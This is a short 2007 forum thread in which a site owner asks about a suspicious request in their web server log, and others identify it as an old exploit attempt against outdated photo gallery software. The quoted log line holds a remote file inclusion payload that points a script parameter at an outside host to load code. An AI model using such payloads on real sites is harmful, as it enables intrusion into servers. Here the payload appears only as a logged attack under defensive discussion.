View Full Version : Whats this person trying to do?

January 11th, 2007, 09:55 AM
Found this in my logs - - [10/Jan/2007:16:12:13 -0500] "GET /photos/showphoto/photo/pp-inc.php?PP_PATH=http://www.depdiknas.go.id/c.txt? HTTP/1.1" 404 - "-" "libwww-perl/5.805"

January 11th, 2007, 11:35 AM
That appears to be a hack attempt.

I think it is only an issue if you are running a version prior to 5.x (like 4.x). Assuming you are running one of the later versions, you are likely okay.

Chuck S
January 11th, 2007, 11:39 AM
Exactly as WB states. Someone trying to exploit an old exploit

January 11th, 2007, 04:48 PM
Thanks, a bit concerned it was a new exploit.

Chuck S
January 11th, 2007, 05:26 PM
Yeah the problem I have with these security sites is they publically display the exploits to everyone which makes fools come along and try and break into peoples sites